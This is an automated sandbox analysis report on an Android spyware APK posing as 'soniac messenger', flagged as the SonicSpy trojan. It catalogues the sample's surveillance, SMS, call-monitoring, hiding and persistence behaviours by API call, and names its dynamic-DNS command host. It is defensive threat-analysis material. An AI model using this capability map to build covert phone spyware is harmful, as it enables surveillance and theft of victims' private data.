Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:20.0.0
Analysis ID:347718
Start time:09:52:40
Joe Sandbox Product:Cloud
Start date:22.08.2017
Overall analysis duration:0h 4m 57s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:soniac_vv.0.3_apkpure.com.apk
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android x86 5.1
Detection:MAL
Classification:mal76.evad.spyw.troj.andAPK@0/251@10/0
Warnings:
Show All
  • No interacted views
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all resource files were parsed


Detection

StrategyScoreRangeReportingDetection
Threshold760 - 100Report FP / FNmalicious


Classification

Signature Overview

Click to jump to signature section


Change of System Appearance:

barindex
Acquires a wake lockShow sources
Source: sys.arshad.sys.AutoStartUp;->onCreate:19API Call: android.os.PowerManager$WakeLock.acquire
Mutes ringtone soundShow sources
Source: sys.arshad.sys.MainActivity$b$32;->run:23API Call: android.media.AudioManager.setRingerMode("0")
Sets a new wallpaperShow sources
Source: sys.arshad.sys.MainActivity$12;->run:7API Call: android.app.WallpaperManager.setBitmap
May access the Android keyguard (lock screen)Show sources
Source: androidString found in binary or memory: keyguard

Location Tracing:

barindex
Queries the phones location (GPS)Show sources
Source: sys.arshad.sys.MainActivity$18;->onLocationChanged:3API Call: android.location.Location.getLongitude
Source: sys.arshad.sys.MainActivity$18;->onLocationChanged:5API Call: android.location.Location.getLatitude

Operating System Destruction:

barindex
Deletes call logs/historyShow sources
Source: sys.arshad.sys.MainActivity$19;->run:24API Call: android.content.ContentResolver.delete
Deletes other packagesShow sources
Source: sys.arshad.sys.MainActivity$13;->run:15API Call: sys.arshad.sys.MainActivity.startActivity
Source: sys.arshad.sys.MainActivity$14;->run:13API Call: sys.arshad.sys.MainActivity.startActivity
Kills background processesShow sources
Source: sys.arshad.sys.MainActivity$b$14;->run:14API Call: android.app.ActivityManager.killBackgroundProcesses

Spam, unwanted Advertisements and Ransom Demands:

barindex
Dials phone numbersShow sources
Source: sys.arshad.sys.MainActivity$6;->run:17API Call: sys.arshad.sys.MainActivity.startActivity
Has permission to perform phone calls in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Has permission to send SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.SEND_SMS
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Sends SMS using SmsManagerShow sources
Source: sys.arshad.sys.MainActivity$b$16;->run:27API Call: android.telephony.SmsManager.sendTextMessage

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Accesses the audio/media managersShow sources
Source: sys.arshad.sys.MainActivity$b$20;->run:37API Call: android.media.AudioRecord.<init>
Source: sys.arshad.sys.MainActivity$b;->t:141API Call: android.media.MediaRecorder.<init>
Source: sys.arshad.sys.MainActivity;->A:50API Call: android.media.MediaRecorder.<init>
Has permission to record audio in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Has permission to take photosShow sources
Source: submitted apkRequest permission: android.permission.CAMERA
Records audio/mediaShow sources
Source: sys.arshad.sys.MainActivity$b$20;->run:44API Call: android.media.AudioRecord.startRecording
Source: sys.arshad.sys.MainActivity$b;->t:162API Call: android.media.MediaRecorder.start
Source: sys.arshad.sys.MainActivity;->A:63API Call: android.media.MediaRecorder.start

E-Banking Fraud:

barindex
Has functionalty to add an overlay to other appsShow sources
Source: sys.arshad.sys.PhotoTakingService;->a:11API Call: WindowManager.addView

Networking:

barindex
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: GET /generate_204 HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: connectivitycheck.android.comConnection: Keep-AliveAccept-Encoding: gzip
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: arshad93.ddns.net
Urls found in memory or binary dataShow sources
Source: abc_tint_spinner.xml, abc_action_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: abc_action_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto((android.support.v7.widget.actionmenuview
Source: abc_activity_chooser_view_list_item.xml, abc_btn_borderless_material.xml, abc_list_selector_holo_light.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Checks an internet connection is availableShow sources
Source: sys.arshad.sys.MainActivity;->d:181API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: sys.arshad.sys.MainActivity$9;->run:14API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: sys.arshad.sys.MainActivity$b$44;->run:33API Call: android.net.ConnectivityManager.getNetworkInfo
Source: sys.arshad.sys.MainActivity$b$44;->run:35API Call: android.net.NetworkInfo.isConnected
Source: sys.arshad.sys.MainActivity;->G:148API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: sys.arshad.sys.MainActivity;->L:174API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Enables or disables WIFIShow sources
Source: sys.arshad.sys.MainActivity$b$2;->run:4API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: sys.arshad.sys.MainActivity$b$47;->run:4API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: sys.arshad.sys.MainActivity$b;->g:277API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: sys.arshad.sys.MainActivity$b;->g:279API Call: android.net.wifi.WifiManager.setWifiEnabled
Performs DNS lookups (Java API)Show sources
Source: sys.arshad.sys.MainActivity$b$20;->run:20API Call: java.net.InetAddress.getByName (not executed)
Scans for WIFI networksShow sources
Source: sys.arshad.sys.MainActivity$b$a$1;->run:21API Call: android.net.wifi.WifiManager.getScanResults
Source: sys.arshad.sys.MainActivity$b;->p:85API Call: android.net.wifi.WifiManager.startScan
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)Show sources
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Tries to resolve many domain names, but no domain seems validShow sources
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Source: unknownDNS traffic detected: query: arshad93.ddns.net replaycode: Name error (3)
Uses dynamic DNS servicesShow sources
Source: unknownDNS query: name: arshad93.ddns.net

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Installs a new wake lock (to get activate on phone screen on)Show sources
Source: sys.arshad.sys.AutoStartUp;->onCreate:17API Call: android.os.PowerManager.newWakeLock
Starts/registers a service/receiver on phone boot (autostart)Show sources
Source: sys.arshad.sys.BootComplete;->onReceive:6API Call: sys.arshad.sys.MainActivity.startService("Intent { cmp=sys.arshad.sys/.AutoStartUp }")

Remote Access Functionality:

barindex
Detected Android Bot / Trojan SonicSpyShow sources
Source: Lsys/arshad/sys/MainActivity$9;->run()VMethod string: "!s!c!r!e!a!m!"
Source: Lsys/arshad/sys/MainActivity$b$40;->run()VMethod string: "{screamHacker}"
Uses DownloadManager to fetch additional componentsShow sources
Source: sys.arshad.sys.MainActivity$4;->run:25API Call: android.app.DownloadManager.enqueue

Stealing of Sensitive Information:

barindex
Has permission to query the current locationShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Creates SMS data (e.g. PDU)Show sources
Source: sys.arshad.sys.IncomingSms;->onReceive:6API Call: android.telephony.SmsManager.createFromPdu
Has permission to read contactsShow sources
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Has permission to read the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.READ_SMS
Has permission to read the call logShow sources
Source: submitted apkRequest permission: android.permission.READ_CALL_LOG
Has permission to read the default browser historyShow sources
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permission to receive SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Has permissions to create, read or change account settings (inlcuding account password settings)Show sources
Source: submitted apkRequest permission: android.permission.GET_ACCOUNTS
Monitors incoming Phone callsShow sources
Source: sys.arshad.sys.PhonecallReceiverRegistered receiver: android.intent.action.PHONE_STATE
Monitors incoming SMSShow sources
Source: sys.arshad.sys.IncomingSmsRegistered receiver: android.provider.Telephony.SMS_RECEIVED
Queries a list of installed applicationsShow sources
Source: sys.arshad.sys.MainActivity$b$21;->run:6API Call: android.content.pm.PackageManager.getInstalledApplications
Queries camera informationShow sources
Source: sys.arshad.sys.MainActivity$b$8;->run:7API Call: android.hardware.Camera.open
Source: sys.arshad.sys.MainActivity;->i:434API Call: android.hardware.Camera.open
Source: sys.arshad.sys.PhotoTakingService$1$1;->run:17API Call: android.hardware.Camera.open
Queries list of installed packagesShow sources
Source: sys.arshad.sys.MainActivity$b$39;->run:6API Call: android.content.pm.PackageManager.getInstalledPackages
Queries phone contact informationShow sources
Source: sys.arshad.sys.MainActivity$b$1;->run:29Field access: android.provider.ContactsContract$PhoneLookup.CONTENT_FILTER_URI
Source: sys.arshad.sys.MainActivity$b$12;->run:26Field access: android.provider.ContactsContract$PhoneLookup.CONTENT_FILTER_URI
Source: sys.arshad.sys.MainActivity$b$23;->run:26Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Queries stored mail and application accounts (e.g. Gmail or Whatsup)Show sources
Source: sys.arshad.sys.MainActivity$8;->run:10API Call: android.accounts.AccountManager.getAccounts
Source: sys.arshad.sys.MainActivity$8;->run:12API Call: android.accounts.Account.type
Source: sys.arshad.sys.MainActivity$8;->run:16API Call: android.accounts.Account.name
Reads boot loader settings of the deviceShow sources
Source: Lsys/arshad/sys/MainActivity$b$22;->run()VMethod string: "BOOTLOADER : "
Redirects camera/video feedShow sources
Source: sys.arshad.sys.MainActivity$b;->t:156API Call: android.media.MediaRecorder.setOutputFile
Source: sys.arshad.sys.MainActivity;->A:59API Call: android.media.MediaRecorder.setOutputFile
Monitors outgoing Phone callsShow sources
Source: sys.arshad.sys.PhonecallReceiverRegistered receiver: android.intent.action.NEW_OUTGOING_CALL

Persistence and Installation Behavior:

barindex
Creates filesShow sources
Source: sys.arshad.sys.MainActivity;->a:352API Call: android.content.ContextWrapper.openFileOutput
Source: sys.arshad.sys.MainActivity;->o:242API Call: android.content.ContextWrapper.openFileOutput
Source: sys.arshad.sys.MainActivity;->o:242API Call: android.content.ContextWrapper.openFileOutput
Source: sys.arshad.sys.MainActivity$2;->onReceive:10API Call: sys.arshad.sys.MainActivity.openFileOutput
Source: sys.arshad.sys.MainActivity$5;->run:4API Call: sys.arshad.sys.MainActivity.openFileOutput
Source: sys.arshad.sys.MainActivity$b$15;->run:8API Call: java.io.FileWriter.<init>
Source: sys.arshad.sys.MainActivity$b$37;->run:11API Call: sys.arshad.sys.MainActivity.openFileOutput
Source: sys.arshad.sys.MainActivity$b$37;->run:44API Call: sys.arshad.sys.MainActivity.openFileOutput

Data Obfuscation:

barindex
Obfuscates method namesShow sources
Source: soniac_vv.0.3_apkpure.com.apkTotal valid method names: 3%
Uses reflectionShow sources
Source: sys.arshad.sys.MainActivity;->I:164API Call: java.lang.reflect.Method.invoke

Spreading:

barindex
Accesses external storage locationShow sources
Source: sys.arshad.sys.MainActivity$b$28;->run:10API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:61API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:64API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:72API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:80API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:88API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:96API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:104API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:112API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:120API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$28;->run:128API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$37;->run:18API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$37;->run:28API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$43;->run:3API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b$43;->run:13API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b;->t:122API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity$b;->t:133API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity;->A:17API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity;->A:27API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity;->A:38API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity;->A:65API Call: android.os.Environment.getExternalStorageDirectory
Source: sys.arshad.sys.MainActivity;->o:233API Call: android.os.Environment.getExternalStorageDirectory
Has permission to change the WIFI configuration including connecting and disconnectingShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Scans the access points for available WIFI networksShow sources
Source: sys.arshad.sys.MainActivity$b;->p:85API Call: android.net.wifi.WifiManager.startScan

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal76.evad.spyw.troj.andAPK@0/251@10/0
Executes native commandsShow sources
Source: sys.arshad.sys.a;->a:4API Call: java.lang.Runtime.exec
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Source: submitted apkRequest permission: android.permission.CAMERA
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Source: submitted apkRequest permission: android.permission.SEND_SMS
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Source: submitted apkRequest permission: android.permission.WAKE_LOCK
Source: submitted apkRequest permission: android.permission.WRITE_CONTACTS
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SETTINGS
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS

Malware Analysis System Evasion:

barindex
Accesses android OS build fieldsShow sources
Source: sys.arshad.sys.MainActivity$9;->run:9Field Access: android.os.Build$VERSION.RELEASE
Source: sys.arshad.sys.MainActivity$9;->run:10Field Access: android.os.Build.MODEL
Source: sys.arshad.sys.MainActivity$b$22;->run:21Field Access: android.os.Build$VERSION.RELEASE
Source: sys.arshad.sys.MainActivity$b$22;->run:25Field Access: android.os.Build.MODEL
Source: sys.arshad.sys.MainActivity$b$22;->run:26Field Access: android.os.Build.BOARD
Source: sys.arshad.sys.MainActivity$b$22;->run:28Field Access: android.os.Build.BRAND
Source: sys.arshad.sys.MainActivity$b$22;->run:29Field Access: android.os.Build.DEVICE
Source: sys.arshad.sys.MainActivity$b$22;->run:30Field Access: android.os.Build.DISPLAY
Source: sys.arshad.sys.MainActivity$b$22;->run:31Field Access: android.os.Build.FINGERPRINT
Source: sys.arshad.sys.MainActivity$b$22;->run:33Field Access: android.os.Build.HOST
Source: sys.arshad.sys.MainActivity$b$22;->run:34Field Access: android.os.Build.ID
Source: sys.arshad.sys.MainActivity$b$22;->run:35Field Access: android.os.Build.MANUFACTURER
Source: sys.arshad.sys.MainActivity$b$22;->run:36Field Access: android.os.Build.PRODUCT
Source: sys.arshad.sys.MainActivity$b$22;->run:38Field Access: android.os.Build.TAGS
Source: sys.arshad.sys.MainActivity$b$22;->run:39Field Access: android.os.Build.TYPE
Source: sys.arshad.sys.MainActivity$b$22;->run:41Field Access: android.os.Build.USER
Source: sys.arshad.sys.MainActivity$b$22;->run:42Field Access: android.os.Build.CPU_ABI

Hooking and other Techniques for Hiding and Protection:

barindex
Has permission to draw over other applications or user interfacesShow sources
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Has permission to terminate background processes of other applicationsShow sources
Source: submitted apkRequest permission: android.permission.KILL_BACKGROUND_PROCESSES
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Queries list of running processes/tasksShow sources
Source: sys.arshad.sys.MainActivity$b$14;->run:6API Call: android.app.ActivityManager.getRunningAppProcesses
Source: sys.arshad.sys.MainActivity$b$34;->run:86API Call: android.app.ActivityManager.getRunningAppProcesses
Removes its application launcher (likely to stay hidden)Show sources
Source: sys.arshad.sys.AutoStartUp;->onCreate:22API Call: android.content.pm.PackageManager.setComponentEnabledSetting
Source: sys.arshad.sys.MainActivity;->c:387API Call: android.content.pm.PackageManager.setComponentEnabledSetting

Language, Device and Operating System Detection:

barindex
Queries the SIM provider ISO country codeShow sources
Source: sys.arshad.sys.MainActivity$b$22;->run:50API Call: android.telephony.TelephonyManager.getSimCountryIso
Queries the network operator ISO country codeShow sources
Source: sys.arshad.sys.MainActivity$b$22;->run:49API Call: android.telephony.TelephonyManager.getNetworkCountryIso
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: sys.arshad.sys.MainActivity$9;->run:5API Call: android.telephony.TelephonyManager.getDeviceId
Source: sys.arshad.sys.MainActivity$b$22;->run:22API Call: android.telephony.TelephonyManager.getSimSerialNumber
Source: sys.arshad.sys.MainActivity$b$22;->run:23API Call: android.telephony.TelephonyManager.getDeviceId
Source: sys.arshad.sys.MainActivity$b$22;->run:24API Call: android.telephony.TelephonyManager.getLine1Number
Source: sys.arshad.sys.MainActivity$b;->onProgressUpdate:328API Call: android.telephony.TelephonyManager.getDeviceId
Source: sys.arshad.sys.MainActivity$b;->onProgressUpdate:352API Call: android.telephony.TelephonyManager.getDeviceId
Source: sys.arshad.sys.MainActivity$b;->onProgressUpdate:360API Call: android.telephony.TelephonyManager.getDeviceId

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Screenshot

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

NameIPActiveMaliciousAntivirus Detection
arshad93.ddns.netunknownunknowntrue

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryFlagASNASN NameMalicious
216.58.212.238United States
15169GoogleIncfalse
8.8.8.8United States
15169GoogleIncfalse
192.168.1.33unknown
unknownunknownfalse

Static File Info

General

File type:Zip archive data, at least v2.0 to extract
TrID:
  • Android Package (19004/1) 52.05%
  • Java Archive (13504/1) 36.99%
  • ZIP compressed archive (4004/1) 10.97%
File name:soniac_vv.0.3_apkpure.com.apk
File size:22243067
MD5:ec43e8a190dfd126aa0880a119fb5ae2
SHA1:96548a4054aa1c798a8318302ab416cdbbedd5bb
SHA256:ed61dbdde88c27071ef5e1d5ea2b3fd17901ede677f1bfd8afa8c43eec03cb56
SHA512:7a9c52ec1f89de6c790501b3cf1a3ee2029fb5db0e82d86aa00902163a896941a5840b43f24c60365c79767aaf4033eaafc47aeabd83d1c9f5c429f394cd1733
File Content Preview:PK........Sz.J./...0..g.......META-INF/MANIFEST.MF.....}Y..H...D....s...H .....@lb....../bG.....=........v.......'...L....}..6...........7.....w......!J...._.$*.:.....?.!:E.?.j.v.7...y.........q./y.v_.....................81..o2.n..._...{%.).....D.c|......

File Icon

Static APK Info

General

Label:soniac messenger
Minimum SDK required:10
Target SDK required:25
Version Code:1
Version Name:1
Package Name:sys.arshad.sys
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true

Activities

NameIs Entrypoint
sys.arshad.syssys.arshad.sys.MainActivitytrue

Receivers

  • sys.arshad.sys.BootComplete
  • Intent: android.intent.action.BOOT_COMPLETED
  • sys.arshad.sys.IncomingSms
  • Intent: android.provider.Telephony.SMS_RECEIVED
  • sys.arshad.sys.PhonecallReceiver
  • Intent: android.intent.action.PHONE_STATE, android.intent.action.NEW_OUTGOING_CALL

Services

  • sys.arshad.sys.AutoStartUp
  • sys.arshad.sys.NotificationService
  • Intent: android.service.notification.NotificationListenerService (Priority 0)
  • sys.arshad.sys.PhotoTakingService

Permission Requested

  • android.permission.ACCESS_COARSE_LOCATION
  • android.permission.ACCESS_FINE_LOCATION
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.ACCESS_WIFI_STATE
  • android.permission.BIND_NOTIFICATION_LISTENER_SERVICE
  • android.permission.CALL_PHONE
  • android.permission.CAMERA
  • android.permission.CHANGE_WIFI_STATE
  • android.permission.GET_ACCOUNTS
  • android.permission.INTERNET
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.PROCESS_OUTGOING_CALLS
  • android.permission.READ_CALL_LOG
  • android.permission.READ_CONTACTS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.RECEIVE_BOOT_COMPLETED
  • android.permission.RECEIVE_SMS
  • android.permission.RECORD_AUDIO
  • android.permission.SEND_SMS
  • android.permission.SET_WALLPAPER
  • android.permission.SET_WALLPAPER_HINTS
  • android.permission.SYSTEM_ALERT_WINDOW
  • android.permission.VIBRATE
  • android.permission.WAKE_LOCK
  • android.permission.WRITE_CALL_LOG
  • android.permission.WRITE_CONTACTS
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.WRITE_SETTINGS
  • com.android.browser.permission.READ_HISTORY_BOOKMARKS

Certificate

Name:classes.dex
Issuer:1.2.840.113549.1.9.1=#161569726171695f626f793134407961686f6f2e636f6d,CN=arshad,OU=non,O=non,L=dewan,ST=non,C=iq
Subject:1.2.840.113549.1.9.1=#161569726171695f626f793134407961686f6f2e636f6d,CN=arshad,OU=non,O=non,L=dewan,ST=non,C=iq

Resources

NameType
abc_text_select_handle_right_mtrl_light.png
abc_btn_switch_to_on_mtrl_00001.9.png
abc_ic_menu_cut_mtrl_alpha.png
abc_ic_menu_selectall_mtrl_alpha.png
notify_panel_notification_icon_bg.png
notification_bg_normal_pressed.9.png
select_dialog_multichoice_material.xml
abc_btn_switch_to_on_mtrl_00012.9.png
abc_ic_clear_material.xml
abc_ic_star_half_black_16dp.png
abc_ic_star_black_48dp.png
abc_ic_star_half_black_16dp.png
abc_btn_switch_to_on_mtrl_00012.9.png
abc_tint_btn_checkable.xml
abc_ic_menu_copy_mtrl_am_alpha.png
notification_template_custom_big.xml
abc_ic_star_black_48dp.png
abc_textfield_default_mtrl_alpha.9.png
abc_list_pressed_holo_dark.9.png
abc_ab_share_pack_mtrl_alpha.9.png
ic_launcher.png
notification_action_background.xml
notification_template_icon_group.xml
abc_screen_simple.xml
abc_search_view.xml
select_dialog_singlechoice_material.xml
abc_scrubber_control_to_pressed_mtrl_000.png
abc_text_select_handle_middle_mtrl_light.png
notification_template_big_media_narrow.xml
abc_scrubber_control_to_pressed_mtrl_000.png
abc_list_selector_disabled_holo_light.9.png
abc_tint_btn_checkable.xml
abc_popup_menu_header_item_layout.xml
abc_btn_switch_to_on_mtrl_00001.9.png
notification_bg_low.xml
abc_ratingbar_small_material.xml
notification_bg_low_pressed.9.png
abc_seekbar_thumb_material.xml
abc_scrubber_track_mtrl_alpha.9.png
abc_btn_switch_to_on_mtrl_00001.9.png
abc_select_dialog_material.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_text_select_handle_middle_mtrl_dark.png
abc_background_cache_hint_selector_material_dark.xml
abc_spinner_mtrl_am_alpha.9.png
abc_spinner_mtrl_am_alpha.9.png
abc_list_divider_mtrl_alpha.9.png
abc_btn_check_to_on_mtrl_015.png
abc_tab_indicator_mtrl_alpha.9.png
abc_edit_text_material.xml
abc_textfield_activated_mtrl_alpha.9.png
abc_tint_default.xml
notify_panel_notification_icon_bg.png
abc_ic_star_half_black_16dp.png
abc_menu_hardkey_panel_mtrl_mult.9.png
abc_cab_background_top_material.xml
abc_popup_background_mtrl_mult.9.png
activity_main.xml
resources.arsc
abc_text_select_handle_right_mtrl_dark.png
abc_list_selector_disabled_holo_dark.9.png
abc_action_menu_item_layout.xml
abc_ic_menu_cut_mtrl_alpha.png
abc_list_divider_mtrl_alpha.9.png
abc_search_view.xml
abc_ic_star_black_16dp.png
abc_btn_radio_to_on_mtrl_000.png
notification_bg_low_normal.9.png
abc_action_bar_up_container.xml
switch_thumb_material_light.xml
notification_bg_low_normal.9.png
CERT.RSA
abc_alert_dialog_title_material.xml
abc_text_select_handle_right_mtrl_dark.png
abc_textfield_activated_mtrl_alpha.9.png
abc_btn_switch_to_on_mtrl_00012.9.png
notification_bg_low_pressed.9.png
abc_ic_star_black_36dp.png
abc_spinner_mtrl_am_alpha.9.png
abc_text_select_handle_middle_mtrl_light.png
abc_list_focused_holo.9.png
abc_scrubber_control_to_pressed_mtrl_000.png
abc_spinner_mtrl_am_alpha.9.png
abc_scrubber_control_off_mtrl_alpha.png
abc_ic_menu_cut_mtrl_alpha.png
abc_tint_edittext.xml
abc_textfield_search_default_mtrl_alpha.9.png
abc_alert_dialog_button_bar_material.xml
abc_list_selector_disabled_holo_light.9.png
abc_tab_indicator_mtrl_alpha.9.png
notification_icon_background.xml
abc_spinner_mtrl_am_alpha.9.png
abc_list_divider_mtrl_alpha.9.png
abc_btn_switch_to_on_mtrl_00001.9.png
abc_alert_dialog_title_material.xml
abc_ic_menu_selectall_mtrl_alpha.png
abc_text_select_handle_right_mtrl_light.png
abc_ic_menu_copy_mtrl_am_alpha.png
abc_list_selector_background_transition_holo_light.xml
abc_ratingbar_small_material.xml
abc_scrubber_control_to_pressed_mtrl_005.png
abc_text_select_handle_left_mtrl_light.png
abc_spinner_textfield_background_material.xml
abc_ic_menu_copy_mtrl_am_alpha.png
abc_btn_default_mtrl_shape.xml
abc_list_pressed_holo_dark.9.png
abc_list_pressed_holo_dark.9.png
abc_list_selector_disabled_holo_dark.9.png
abc_list_focused_holo.9.png
abc_btn_colored_borderless_text_material.xml
activity_main.xml
notification_action_tombstone.xml
abc_ic_star_half_black_16dp.png
abc_list_longpressed_holo.9.png
